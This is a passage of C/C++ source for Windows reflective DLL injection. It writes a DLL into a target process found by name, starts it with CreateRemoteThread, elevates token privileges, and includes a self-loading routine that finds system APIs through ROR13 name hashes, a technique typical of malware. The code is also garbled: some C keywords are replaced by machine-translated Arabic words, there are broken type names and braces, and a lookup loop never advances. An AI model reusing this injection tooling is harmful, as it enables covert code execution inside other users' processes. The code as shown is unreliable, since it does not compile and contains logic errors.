(ThreadHandle == NULL) { goto _Clear; } WaitForSingleObject(ThreadHandle, INFINITE); _Clear: if (FileData) { HeapFree(GetProcessHeap(), 0, FileData); } if (ProcessHandle) { CloseHandle(ProcessHandle); } return 0; } /************************************************************************ * Name : LoadRemoteDll * Param: ProcessHandle معرف عملية (IN) * Param: ModuleBaseAddress عنوان أساسي الوحدة * Param: ModuleLength حجم الوحدة في الملف * Param: lParam معرف الوحدة * Ret : HANDLE * يكتب Dll كملف في ذاكرة عملية الهدف ويقوم بتنفيذ دالة تصدير DllByOEP ************************************************************************/ HANDLE WINAPI LoadRemoteDll(HANDLE ProcessHandle, PVOID ModuleFileBaseAddress, UINT32 ModuleFileSize, LPVOID lParam) { HANDLE ThreadHandle = NULL; __try { if (ProcessHandle == NULL || ModuleFileBaseAddress == NULL || ModuleFileSize == 0) { return NULL; } // Offset للوظيفة المصدرة مقارنة بـ ModuelBaseAddress UINT32 FunctionOffset = GetLoadDllByOEPOffsetInFile(ModuleFileBaseAddress); if (FunctionOffset == 0) { return NULL; } // طلب مساحة ذاكرة في عملية الهدف PVOID RemoteBufferData = VirtualAllocEx(ProcessHandle, NULL, ModuleFileSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (RemoteBufferData == NULL) { return NULL; } // كتابة ملف Dll في مساحة ذاكرة عملية الهدف BOOL bOk = WriteProcessMemory(ProcessHandle, RemoteBufferData, ModuleFileBaseAddress, ModuleFileSize, NULL); if (bOk == FALSE) { return NULL; } // تنفيذ Dll باستخدام تنسيق الملف LPTHREAD_START_ROUTINE RemoteThreadCallBack = (LPTHREAD_START_ROUTINE)((PUINT8)RemoteBufferData + FunctionOffset); ThreadHandle = CreateRemoteThread(ProcessHandle, NULL, 1024 * 1024, RemoteThreadCallBack, lParam, 0, NULL); } __except (EXCEPTION_EXECUTE_HANDLER) { ThreadHandle = NULL; } return ThreadHandle; } /************************************************************************ * Name : LoadRemoteDll * Param: ProcessHandle معالج العمليات * Ret : HANDLE * تحصل على إيجاد LoadDllByOEP في ملف Dll ************************************************************************/ UINT32 GetLoadDllByOEPOffsetInFile(PVOID DllBuffer) { UINT_PTR BaseAddress = (UINT_PTR)DllBuffer; PIMAGE_DOS_HEADER DosHeader = NULL; PIMAGE_NT_HEADERS NtHeader = NULL; DosHeader = (PIMAGE_DOS_HEADER)BaseAddress; NtHeader = (PIMAGE_NT_HEADERS)((PUINT8)BaseAddress + DosHeader->e_lfanew); /* #define IMAGE_NT_OPTIONAL_HDR32_MAGIC 0x10b #define IMAGE_NT_OPTIONAL_HDR64_MAGIC 0x20b #define IMAGE_ROM_OPTIONAL_HDR_MAGIC 0x107 */ if (NtHeader->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR32_MAGIC) // pe32 { } else if (NtHeader->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR64_MAGIC) // pe64 { } else { return 0; } UINT32 ExportDirectoryRVA = NtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; PIMAGE_EXPORT_DIRECTORY ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PUINT8)BaseAddress + RVAToOffset(ExportDirectoryRVA, NtHeader)); UINT32 AddressOfNamesRVA = ExportDirectory->AddressOfNames; PUINT32 AddressOfNames = (PUINT32)((PUINT8)BaseAddress + RVAToOffset(AddressOfNamesRVA, NtHeader)); UINT32 AddressOfFunctionsRVA = ExportDirectory->AddressOfFunctions; PUINT32 AddressOfFunctions = (PUINT32)((PUINT8)BaseAddress + RVAToOffset(AddressOfFunctionsRVA, NtHeader)); UINT32 AddressOfNameOrdinalsRVA = ExportDirectory->AddressOfNameOrdinals; PUINT16 AddressOfNameOrdinals = (PUINT16)((PUINT8)BaseAddress + RVAToOffset(AddressOfNameOrdinalsRVA, NtHeader)); for (UINT32 i = 0; i < ExportDirectory->NumberOfFunctions; i++) { CHAR* ExportFunctionName = (CHAR*)((PUINT8)BaseAddress + RVAToOffset(*AddressOfNames, NtHeader)); if (strstr(ExportFunctionName, "LoadDllByOEP") != NULL) { UINT16 ExportFunctionOrdinals = AddressOfNameOrdinals[i]; return RVAToOffset(AddressOfFunctions[ExportFunctionOrdinals], NtHeader); } } return 0; } /************************************************************************ * Name : RVAToOffset * Param: RVA التحويلات المتجهة في الذاكرة * Param: NtHeader رأس Nt * Ret : UINT32 * تحويل التحويلات المتجهة في الذاكرة إلى التحويلات في الملف ************************************************************************/ UINT32 RVAToOffset(UINT32 RVA, PIMAGE_NT_HEADERS NtHeader) { UINT32 i = 0; PIMAGE_SECTION_HEADER SectionHeader = NULL; SectionHeader = IMAGE_FIRST_SECTION(NtHeader); if (RVA < SectionHeader[0].PointerToRawData) { return RVA; } for (i = 0; i < NtHeader->FileHeader.NumberOfSections; i++) { if (RVA >= SectionHeader[i].VirtualAddress && RVA < (SectionHeader[i].VirtualAddress + SectionHeader[i].SizeOfRawData)) { return (RVA - SectionHeader[i].VirtualAddress + SectionHeader[i].PointerToRawData); } } return 0; } /************************************************************************ * Name : GetProcessIdByProcessImageName * Param: wzProcessImageName اسم صورة العملية (IN) * Param: TargetProcessId معرف عملية (OUT) * Ret : BOOLEAN * الحصول على معرف عملية باستخدام ToolHelp سلسلة من الفونكشنز عبر اسم صورة العملية ************************************************************************/ BOOL GetProcessIdByProcessImageName(IN WCHAR* wzProcessImageName, OUT UINT32* TargetProcessId) { HANDLE ProcessSnapshotHandle = NULL; PROCESSENTRY32 ProcessEntry32 = { 0 }; ProcessEntry32.dwSize = sizeof(PROCESSENTRY32); // يبدأ بناء هيكل PROCESSENTRY32 ProcessSnapshotHandle = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); // يقدم صورة سريعة لجميع العمليات النظامية إذا (ProcessSnapshotHandle == INVALID_HANDLE_VALUE) { return FALSE; } Process32First(ProcessSnapshotHandle, &ProcessEntry32); //البحث عن الأول do { إذا (lstrcmpi(ProcessEntry32.szExeFile, wzProcessImageName) == 0) // لا يهم الحالة { *TargetProcessId = ProcessEntry32.th32ProcessID; break; } } while (Process32Next(ProcessSnapshotHandle, &ProcessEntry32)); CloseHandle(ProcessSnapshotHandle); ProcessSnapshotHandle = NULL; return TRUE; } /************************************************************************ * Name : GrantPriviledge * Param: PriviledgeName الأذونات المطلوبة * Ret : BOOLEAN *رفع الأذونات المطلوبة ************************************************************************/ BOOL GrantPriviledge(WCHAR* PriviledgeName) { TOKEN_PRIVILEGES TokenPrivileges, OldPrivileges; DWORD dwReturnLength = sizeof(OldPrivileges); HANDLE TokenHandle = NULL; LUID uID; //فتح بيانات الأذونات إذا (!OpenThreadToken(GetCurrentThread(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, FALSE, &TokenHandle)) { إذا (GetLastError() != ERROR_NO_TOKEN) { return FALSE; } if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &TokenHandle)) { return FALSE; } } if (!LookupPrivilegeValue(NULL, PriviledgeName, &uID)) // البحث عن uID عبر اسم الصلاحية { CloseHandle(TokenHandle); return FALSE; } TokenPrivileges.PrivilegeCount = 1; // عدد الصلاحيات التي يتم رفعها TokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; // دالة متعددة الأبعاد، حجمها يعتمد على عدد Count TokenPrivileges.Privileges[0].Luid = uID; // هنا نقوم بتعديل الصلاحيات if (!AdjustTokenPrivileges(TokenHandle, FALSE, &TokenPrivileges, sizeof(TOKEN_PRIVILEGES), &OldPrivileges, &dwReturnLength)) { CloseHandle(TokenHandle); return FALSE; } // نجحنا CloseHandle(TokenHandle); return TRUE; } // LoadRemoteDll.h #include <Windows.h> #include <intrin.h> #ifdef LOADREMOTEDLL_EXPORTS #define LOADREMOTEDLL_API __declspec(dllexport) #else #define LOADREMOTEDLL_API __declspec(dllimport) #endif #define KERNEL32DLL_HASH 0x6A4ABC5B #define NTDLLDLL_HASH 0x3CFA685D #define LOADLIBRARYA_HASH 0xEC0E4E8E #define GETPROCADDRESS_HASH 0x7C0DFCAA #define VIRTUALALLOC_HASH 0x91AFCA54 #define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8 #define IMAGE_REL_BASED_ARM_MOV32A 5 #define IMAGE_REL_BASED_ARM_MOV32T 7 #define HASH_KEY 13 #pragma intrinsic( _rotr ) __forceinline UINT32 ror(UINT32 d) { return _rotr(d, HASH_KEY); } __forceinline UINT32 hash(char * c) { register UINT32 h = 0; do { h = ror(h); h += *c; } while (*++c); return h; } ////////////////////////////////////////////////////////////////////////// typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; }{UNICODE_STRING, *PUNICODE_STRING; typedef struct _PEB_LDR_DATA_WIN7_X64 { UINT32 Length; UINT8 Initialized; UINT8 _PADDING0_[0x3]; PVOID SsHandle; LIST_ENTRY InLoadOrderModuleList; LIST_ENTRY InMemoryOrderModuleList; LIST_ENTRY InInitializationOrderModuleList; PVOID EntryInProgress; UINT8 ShutdownInProgress; UINT8 _PADDING1_[0x7]; PVOID ShutdownThreadId; }{PEB_LDR_DATA_WIN7_X64, *PPEB_LDR_DATA_WIN7_X64; typedef struct _PEB_LDR_DATA_WINXP_X86 { UINT32 Length; UINT8 Initialized; UINT8 _PADDING0_[0x3]; PVOID SsHandle; LIST_ENTRY InLoadOrderModuleList; LIST_ENTRY InMemoryOrderModuleList; LIST_ENTRY InInitializationOrderModuleList; PVOID EntryInProgress; PEB_LDR_DATA_WINXP_X86, *PPEB_LDR_DATA_WINXP_X86; #ifdef _WIN64 #define PPEB_LDR_DATA PEB_LDR_DATA_WIN7_X64 #define PEB_LDR_DATA PEB_LDR_DATA_WIN7_X64 #else #define PPEB_LDR_DATA PPEB_LDR_DATA_WINXP_X86 #define PEB_LDR_DATA PEB_LDR_DATA_WINXP_X86 #endif typedef struct _CURDIR { UNICODE_STRING DosPath; HANDLE Handle; } CURDIR, *PCURDIR; typedef struct _RTL_USER_PROCESS_PARAMETERS_WINXP_X86 { UINT32 MaximumLength; UINT32 Length; UINT32 Flags; UINT32 DebugFlags; HANDLE ConsoleHandle; UINT32 ConsoleFlags; HANDLE StandardInput; HANDLE StandardOutput; HANDLE StandardError; CURDIR CurrentDirectory; // ProcessParameters UNICODE_STRING DllPath; // ProcessParameters UNICODE_STRING ImagePathName; // ProcessParameters UNICODE_STRING CommandLine; // ProcessParameters PVOID Environment; UINT32 StartingX; UINT32 StartingY; UINT32 CountX; UINT32 CountY; UINT32 CountCharsX; UINT32 CountCharsY; UINT32 FillAttribute; UINT32 WindowFlags; UINT32 ShowWindowFlags; UNICODE_STRING WindowTitle; UNICODE_STRING DesktopInfo; UNICODE_STRING ShellInfo; UNICODE_STRING RuntimeData; UINT32 CurrentDirectores[8]; } RTL_USER_PROCESS_PARAMETERS_WINXP_X86, *PRTL_USER_PROCESS_PARAMETERS_WINXP_X86; typedef struct _RTL_USER_PROCESS_PARAMETERS_WIN7_X64 { UINT32 MaximumLength; UINT32 Length; UINT32 Flags; UINT32 DebugFlags; HANDLE ConsoleHandle; UINT32 ConsoleFlags; HANDLE StandardInput; HANDLE StandardOutput; HANDLE StandardError; CURDIR CurrentDirectory; // ProcessParameters UNICODE_STRING DllPath; // ProcessParameters UNICODE_STRING ImagePathName; // ProcessParameters UNICODE_STRING CommandLine; // ProcessParameters PVOID Environment; UINT32 StartingX; UINT32 StartingY; UINT32 CountX; UINT32 CountY; UINT32 CountCharsX; UINT32 CountCharsY; UINT32 FillAttribute; UINT32 WindowFlags; UINT32 ShowWindowFlags; UNICODE_STRING WindowTitle; UNICODE_STRING DesktopInfo; UNICODE_STRING ShellInfo; UNICODE_STRING RuntimeData; UINT32 CurrentDirectores[8]; UINT64 EnvironmentSize; UINT64 EnvironmentVersion; }RTL_USER_PROCESS_PARAMETERS_WIN7_X64, *PRTL_USER_PROCESS_PARAMETERS_WIN7_X64; #ifdef _WIN64 #define PRTL_USER_PROCESS_PARAMETERS PRTL_USER_PROCESS_PARAMETERS_WIN7_X64 #define RTL_USER_PROCESS_PARAMETERS RTL_USER_PROCESS_PARAMETERS_WIN7_X64 #else #define PRTL_USER_PROCESS_PARAMETERS PRTL_USER_PROCESS_PARAMETERS_WINXP_X86 #define RTL_USER_PROCESS_PARAMETERS RTL_USER_PROCESS_PARAMETERS_WINXP_X86 #endif #define GDI_HANDLE_BUFFER_SIZE32 34 #define GDI_HANDLE_BUFFER_SIZE64 60 #ifndef _WIN64 #define GDI_HANDLE_BUFFER_SIZE GDI_HANDLE_BUFFER_SIZE32 #else #define GDI_HANDLE_BUFFER_SIZE GDI_HANDLE_BUFFER_SIZE64 #endif typedef UINT32 GDI_HANDLE_BUFFER[GDI_HANDLE_BUFFER_SIZE]; // PEB结构 typedef struct _PEB { BOOLEAN InheritedAddressSpace; BOOLEAN ReadImageFileExecOptions; BOOLEAN BeingDebugged; union { BOOLEAN BitField; struct { BOOLEAN ImageUsesLargePages : 1; BOOLEAN IsProtectedProcess : 1; BOOLEAN IsLegacyProcess : 1; BOOLEAN IsImageDynamicallyRelocated : 1; BOOLEAN SkipPatchingUser32Forwarders : 1; BOOLEAN IsPackagedProcess : 1; BOOLEAN IsAppContainer : 1; BOOLEAN SpareBits : 1; }; }; HANDLE Mutant; PVOID ImageBaseAddress; PPEB_LDR_DATA Ldr; PRTL_USER_PROCESS_PARAMETERS ProcessParameters; PVOID SubSystemData; PVOID ProcessHeap; PRTL_CRITICAL_SECTION FastPebLock; PVOID AtlThunkSListPtr; PVOID IFEOKey; union { UINT32 CrossProcessFlags; struct { UINT32 ProcessInJob : 1; UINT32 ProcessInitializing : 1; UINT32 ProcessUsingVEH : 1; UINT32 ProcessUsingVCH : 1; UINT32 ProcessUsingFTH : 1; UINT32 ReservedBits0 : 27; }; UINT32 EnvironmentUpdateCount; }; union { PVOID KernelCallbackTable; PVOID UserSharedInfoPtr; }; UINT32 SystemReserved[1]; UINT32 AtlThunkSListPtr32; PVOID ApiSetMap; UINT32 TlsExpansionCounter; PVOID TlsBitmap; UINT32 TlsBitmapBits[2]; PVOID ReadOnlySharedMemoryBase; PVOID HotpatchInformation; PVOID* ReadOnlyStaticServerData; PVOID AnsiCodePageData; PVOID OemCodePageData; PVOID UnicodeCaseTableData; UINT32 NumberOfProcessors; UINT32 NtGlobalFlag; LARGE_INTEGER CriticalSectionTimeout; SIZE_T HeapSegmentReserve; SIZE_T HeapSegmentCommit; SIZE_T HeapDeCommitTotalFreeThreshold; SIZE_T HeapDeCommitFreeBlockThreshold; UINT32 NumberOfHeaps; UINT32 MaximumNumberOfHeaps; PVOID* ProcessHeaps; PVOID GdiSharedHandleTable; PVOID ProcessStarterHelper; UINT32 GdiDCAttributeList; PRTL_CRITICAL_SECTION LoaderLock; UINT32 OSMajorVersion; UINT32 OSMinorVersion; UINT16 OSBuildNumber; UINT16 OSCSDVersion; UINT32 OSPlatformId; UINT32 ImageSubsystem; UINT32 ImageSubsystemMajorVersion; UINT32 ImageSubsystemMinorVersion; UINT_PTR ImageProcessAffinityMask; GDI_HANDLE_BUFFER GdiHandleBuffer; PVOID PostProcessInitRoutine; PVOID TlsExpansionBitmap; UINT32 TlsExpansionBitmapBits[32]; UINT32 SessionId; ULARGE_INTEGER AppCompatFlags; ULARGE_INTEGER AppCompatFlagsUser; PVOID pShimData; PVOID AppCompatInfo; UNICODE_STRING CSDVersion; PVOID ActivationContextData; PVOID ProcessAssemblyStorageMap; PVOID SystemDefaultActivationContextData; PVOID SystemAssemblyStorageMap; SIZE_T MinimumStackCommit; PVOID* FlsCallback; LIST_ENTRY FlsListHead; PVOID FlsBitmap; UINT32 FlsBitmapBits[FLS_MAXIMUM_AVAILABLE / (sizeof(UINT32) * 8)]; UINT32 FlsHighIndex; PVOID WerRegistrationData; PVOID WerShipAssertPtr; PVOID pContextData; PVOID pImageHeaderHash; union { UINT32 TracingFlags; struct { UINT32 HeapTracingEnabled : 1; UINT32 CritSecTracingEnabled : 1; UINT32 LibLoaderTracingEnabled : 1; UINT32 SpareTracingBits : 29; }; }; UINT64 CsrServerReadOnlySharedMemoryBase; } PEB, *PPEB; // Ldr 三根链表结构 typedef struct _LDR_DATA_TABLE_ENTRY { LIST_ENTRY InLoadOrderLinks; LIST_ENTRY InMemoryOrderLinks; LIST_ENTRY InInitializationOrderLinks; PVOID DllBase; PVOID EntryPoint; UINT32 SizeOfImage; UNICODE_STRING FullDllName; UNICODE_STRING BaseDllName; UINT32 Flags; UINT16 LoadCount; UINT16 TlsIndex; union { LIST_ENTRY HashLinks; struct { PVOID SectionPointer; UINT32 CheckSum; }; }; union { struct { UINT32 TimeDateStamp; }; struct { PVOID LoadedImports; }; }; struct _ACTIVATION_CONTEXT * EntryPointActivationContext; PVOID PatchInformation; } LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY; typedef const struct _LDR_DATA_TABLE_ENTRY *PCLDR_DATA_TABLE_ENTRY; LOADREMOTEDLL_API UINT_PTR WINAPI LoadDllByOEP(PVOID lParam); // LoadRemoteDll.cpp // LoadRemoteDll.cpp : 定义 DLL 应用程序的导出函数。 // #include "stdafx.h" #include "LoadRemoteDll.h" #pragma intrinsic(_ReturnAddress) __declspec(noinline) UINT_PTR caller() { return (UINT_PTR)_ReturnAddress(); // #include <intrin.h> } typedef HMODULE (WINAPI * pfnLoadLibraryA)(LPCSTR lpLibFileName); typedef FARPROC (WINAPI * pfnGetProcAddress)(HMODULE hModule, LPCSTR lpProcName); typedef LPVOID (WINAPI * pfnVirtualAlloc)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect); typedef LONG // NTSTATUS (NTAPI * pfnNtFlushInstructionCache)(HANDLE ProcessHandle, PVOID BaseAddress, SIZE_T Length); typedef BOOL (APIENTRY * pfnDllMain)(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved); LOADREMOTEDLL_API UINT_PTR WINAPI LoadDllByOEP(PVOID lParam) { UINT_PTR LibraryAddress = 0; PIMAGE_DOS_HEADER DosHeader = NULL; PIMAGE_NT_HEADERS NtHeader = NULL; pfnLoadLibraryA LoadLibraryAAddress = NULL; pfnGetProcAddress GetProcAddressAddress = NULL; pfnVirtualAlloc VirtualAllocAddress = NULL; pfnNtFlushInstructionCache NtFlushInstructionCacheAddress = NULL; LibraryAddress = caller(); // حصول على عنوان الخطوة التالية، في الواقع هو حصول على عنوان الخطوة الحالية، لتقديم نقطة البداية للبحث عن رأس PE فيما بعد DosHeader = (PIMAGE_DOS_HEADER)LibraryAddress; while (TRUE) { if (DosHeader->e_magic == IMAGE_DOS_SIGNATURE && DosHeader->e_lfanew >= sizeof(IMAGE_DOS_HEADER) && DosHeader->e_lfanew < 1024) { NtHeader = (PIMAGE_NT_HEADERS)((PUINT8)LibraryAddress + DosHeader->e_lfanew); if (NtHeader->Signature == IMAGE_NT_SIGNATURE) { break; } } LibraryAddress--; DosHeader = (PIMAGE_DOS_HEADER)LibraryAddress; } // حصول على PEB #ifdef _WIN64 PPEB Peb = (PPEB)__readgsqword(0x60); #else PPEB Peb = (PPEB)__readfsdword(0x30); #endif PPEB_LDR_DATA Ldr = Peb->Ldr; // 1. من جدول التصدير للDll للحصول على عنوان الدالة for (PLIST_ENTRY TravelListEntry = (PLIST_ENTRY)Ldr->InLoadOrderModuleList.Flink; TravelListEntry != &Ldr->InLoadOrderModuleList; // صفحة رأس فارغة TravelListEntry = TravelListEntry->Flink) { PLDR_DATA_TABLE_ENTRY LdrDataTableEntry = (PLDR_DATA_TABLE_ENTRY)TravelListEntry; UINT32 FunctionCount = 0; // WCHAR* DllName = (WCHAR*)LdrDataTableEntry->BaseDllName.Buffer; UINT_PTR DllName = (UINT_PTR)LdrDataTableEntry->BaseDllName.Buffer; UINT32 DllLength = LdrDataTableEntry->BaseDllName.Length; UINT_PTR DllBaseAddress = (UINT_PTR)LdrDataTableEntry->DllBase; DosHeader = (PIMAGE_DOS_HEADER)DllBaseAddress; NtHeader = (PIMAGE_NT_HEADERS)((PUINT8)DllBaseAddress + DosHeader->e_lfanew); IMAGE_DATA_DIRECTORY ExportDataDirectory = (IMAGE_DATA_DIRECTORY)(NtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]); PIMAGE_EXPORT_DIRECTORY ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PUINT8)DllBaseAddress + ExportDataDirectory.VirtualAddress); PUINT32 AddressOfFunctions = (PUINT32)((PUINT8)DllBaseAddress + ExportDirectory->AddressOfFunctions); PUINT32 AddressOfNames = (PUINT32)((PUINT8)DllBaseAddress + ExportDirectory->AddressOfNames); PUINT16 AddressOfNameOrdinals = (PUINT16)((PUINT8)DllBaseAddress + ExportDirectory->AddressOfNameOrdinals); UINT16 Ordinal = 0; UINT_PTR ExportFunctionAddress = 0; UINT32 HashValue = 0; // 将Dll名称转换成Hash值 do { HashValue = ror((UINT32)HashValue); if (*((PUINT8)DllName) >= 'a') { HashValue += *((PUINT8)DllName) - 0x20; } else { HashValue += *((PUINT8)DllName); } DllName++; } while (--DllLength); if (HashValue == KERNEL32DLL_HASH) { FunctionCount = 3; for (INT i = 0; i < ExportDirectory->NumberOfFunctions; i++) { if (FunctionCount == 0) { break; } CHAR* szExportFunctionName = (CHAR*)((PUINT8)DllBaseAddress + AddressOfNames[i]); HashValue = hash(szExportFunctionName); if (HashValue == LOADLIBRARYA_HASH) { Ordinal = AddressOfNameOrdinals[i]; LoadLibraryAAddress = (pfnLoadLibraryA)((PUINT8)DllBaseAddress + AddressOfFunctions[Ordinal]); FunctionCount--; } else if (HashValue == GETPROCADDRESS_HASH) { Ordinal = AddressOfNameOrdinals[i]; GetProcAddressAddress = (pfnGetProcAddress)((PUINT8)DllBaseAddress + AddressOfFunctions[Ordinal]); FunctionCount--; } else if (HashValue == VIRTUALALLOC_HASH) { Ordinal = AddressOfNameOrdinals[i]; VirtualAllocAddress = (pfnVirtualAlloc)((PUINT8)DllBaseAddress + AddressOfFunctions[Ordinal]); FunctionCount--; } } } else if (HashValue == NTDLLDLL_HASH) { FunctionCount = 1; for (INT i = 0; i < ExportDirectory->NumberOfFunctions; i++) { if (FunctionCount == 0) { break; } CHAR* szExportFunctionName = (CHAR*)((PUINT8)DllBaseAddress + AddressOfNames[i]); HashValue = hash(szExportFunctionName); if (HashValue == NTFLUSHINSTRUCTIONCACHE_HASH) { Ordinal = AddressOfNameOrdinals[i]; NtFlushInstructionCacheAddress = (pfnNtFlushInstructionCache)((PUINT8)DllBaseAddress + AddressOfFunctions[Ordinal]); FunctionCount--; } } } if (LoadLibraryAAddress != NULL && GetProcAddressAddress != NULL && VirtualAllocAddress != NULL && NtFlushInstructionCacheAddress != NULL) { break; } } // 2. طلب ذاكرة جديدة، وإعادة تحميل Dll الخاص بنا // تحديث DosHeader و NtHeader مرة أخرى DosHeader = (PIMAGE_DOS_HEADER)LibraryAddress; NtHeader = (PIMAGE_NT_HEADERS)((PUINT8)LibraryAddress + DosHeader->e_lfanew); // طلب ذاكرة جديدة (SizeOfImage هو حجم PE في الذاكرة) /* _asm { int 3; } */ // هذا الدليل الذي تم طلبته مرة أخرى لا يمكن تحريكه بسهولة، استخدم متغيرًا للبديل UINT_PTR NewBaseAddress = (UINT_PTR)VirtualAllocAddress(NULL, NtHeader->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); UINT_PTR OldPtr = LibraryAddress; UINT_PTR BasePtr = NewBaseAddress; // 2.1 أولاً نسخ الرأس + جدول المناطق UINT32 SizeOfHeaders = NtHeader->OptionalHeader.SizeOfHeaders; while (SizeOfHeaders--) { *(PUINT8)BasePtr++ = *(PUINT8)OldPtr++; } // memcpy((PVOID)NewBaseAddress, (PVOID)LibraryAddress, NtHeader->OptionalHeader.SizeOfHeaders); /* PIMAGE_SECTION_HEADER SectionHeader = (PIMAGE_SECTION_HEADER)((PUINT8)&NtHeader->OptionalHeader + NtHeader->FileHeader.SizeOfOptionalHeader); UINT32 NumberOfSections = NtHeader->FileHeader.NumberOfSections; while (NumberOfSections--) { UINT_PTR NewSectionAddress = (UINT_PTR)((PUINT8)NewBaseAddress + SectionHeader->VirtualAddress); UINT_PTR OldSectionAddress = (UINT_PTR)((PUINT8)LibraryAddress + SectionHeader->PointerToRawData); UINT32 SizeOfRawData = SectionHeader->SizeOfRawData; while (SizeOfRawData--) { *(PUINT8)NewSectionAddress++ = *(PUINT8)OldSectionAddress++; } SectionHeader = (PIMAGE_SECTION_HEADER)((PUINT8)SectionHeader + sizeof(IMAGE_SECTION_HEADER)); } */ // 2.2拷贝节区 PIMAGE_SECTION_HEADER SectionHeader = IMAGE_FIRST_SECTION(NtHeader); for (INT i = 0; i < NtHeader->FileHeader.NumberOfSections; i++) { if (SectionHeader[i].VirtualAddress == 0 || SectionHeader[i].SizeOfRawData == 0) //节块里面没有数据 { continue; } //定位该节块在内存中的位置 UINT_PTR NewSectionAddress = (UINT_PTR)((PUINT8)NewBaseAddress + SectionHeader[i].VirtualAddress); UINT_PTR OldSectionAddress = (UINT_PTR)((PUINT8)LibraryAddress + SectionHeader[i].PointerToRawData); //复制节块数据到虚拟内存 UINT32 SizeOfRawData = SectionHeader[i].SizeOfRawData; while (SizeOfRawData--) { *(PUINT8)NewSectionAddress++ = *(PUINT8)OldSectionAddress++; } //memcpy(SectionAddress, (PVOID)((PUINT8)LibraryAddress + SectionHeader[i].PointerToRawData), SectionHeader[i].SizeOfRawData); } // 2.3修正导入表(IAT) DIRECTORY_DATA_IMAGE ImportDataDirectory = (DIRECTORY_DATA_IMAGE)(NtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]); PIMAGE_IMPORT_DESCRIPTOR ImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)((PUINT8)NewBaseAddress + ImportDataDirectory.VirtualAddress); /* _asm { int 3; } */ /* while (ImportDescriptor->Characteristics != 0) { PIMAGE_THUNK_DATA FirstThunk = (PIMAGE_THUNK_DATA)((PUINT8)NewBaseAddress + ImportDescriptor->FirstThunk); PIMAGE_THUNK_DATA OriginalFirstThunk = (PIMAGE_THUNK_DATA)((PUINT8)NewBaseAddress + ImportDescriptor->OriginalFirstThunk); // الحصول على اسم وحدة الاستيراد // char szModuleName[MAX_PATH] = { 0 }; PCHAR ModuleName = (PCHAR)((PUINT8)NewBaseAddress + ImportDescriptor->Name); HMODULE Dll = LoadLibraryAAddress(ModuleName); UINT_PTR FunctionAddress = 0; للمقارنة (INT i = 0; OriginalFirstThunk[i].u1.Function != 0; i++) { إذا (IMAGE_SNAP_BY_ORDINAL(OriginalFirstThunk[i].u1.Ordinal)) { FunctionAddress = (UINT_PTR)GetProcAddressAddress(Dll, MAKEINTRESOURCEA((IMAGE_ORDINAL(OriginalFirstThunk[i].u1.Ordinal)))); } else { PIMAGE_IMPORT_BY_NAME ImageImportByName = (PIMAGE_IMPORT_BY_NAME)((PUINT8)NewBaseAddress + OriginalFirstThunk[i].u1.AddressOfData); FunctionAddress = (UINT_PTR)GetProcAddressAddress(Dll, (CHAR*)ImageImportByName->Name); // للحصول على عنوان الدالة من اسم الدالة } FirstThunk[i].u1.Function = FunctionAddress; } ImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)((PUINT8)ImportDescriptor + sizeof(IMAGE_IMPORT_DESCRIPTOR)); } */ for (INT i = 0; ImportDescriptor[i].Name != NULL; i++) { // 加载导入动态库 HMODULE Dll = LoadLibraryAAddress((const CHAR*)((PUINT8)NewBaseAddress + ImportDescriptor[i].Name)); PIMAGE_THUNK_DATA OriginalFirstThunk = (PIMAGE_THUNK_DATA)((PUINT8)NewBaseAddress + ImportDescriptor[i].OriginalFirstThunk); PIMAGE_THUNK_DATA FirstThunk = (PIMAGE_THUNK_DATA)((PUINT8)NewBaseAddress + ImportDescriptor[i].FirstThunk); UINT_PTR FunctionAddress = 0; // 遍历每个导入模块的函数 for (INT j = 0; OriginalFirstThunk[j].u1.Function; j++) { if (&OriginalFirstThunk[j] && IMAGE_SNAP_BY_ORDINAL(OriginalFirstThunk[j].u1.Ordinal)) { // 序号导入---->这里直接从Dll的导出表中找到函数地址 // FunctionAddress = (UINT_PTR)GetProcAddressAddress(Dll, MAKEINTRESOURCEA((IMAGE_ORDINAL(OriginalFirstThunk[j].u1.Ordinal)))); // 除去最高位即为序号 DosHeader = (PIMAGE_DOS_HEADER)Dll; NtHeader = (PIMAGE_NT_HEADERS)((PUINT8)Dll + DosHeader->e_lfanew); PIMAGE_EXPORT_DIRECTORY ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PUINT8)Dll + NtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); // مجموعة عناوين RVA للدوال المصدرة PUINT32 AddressOfFunctions = (PUINT32)((PUINT8)Dll + ExportDirectory->AddressOfFunctions); UINT16 Ordinal = IMAGE_ORDINAL(OriginalFirstThunk[j].u1.Ordinal - ExportDirectory->Base); // رقم التسمية - Base(رقم التسمية الأساسي) = رقم التسمية في جدول عناوين الدوال FunctionAddress = (UINT_PTR)((PUINT8)Dll + AddressOfFunctions[Ordinal]); } else { // استيراد الأسماء PIMAGE_IMPORT_BY_NAME ImageImportByName = (PIMAGE_IMPORT_BY_NAME)((PUINT8)NewBaseAddress + OriginalFirstThunk[j].u1.AddressOfData); FunctionAddress = (UINT_PTR)GetProcAddressAddress(Dll, (CHAR*)ImageImportByName->Name); // للحصول على عنوان الدالة من اسم الدالة } // تحديث IAT FirstThunk[j].u1.Function = 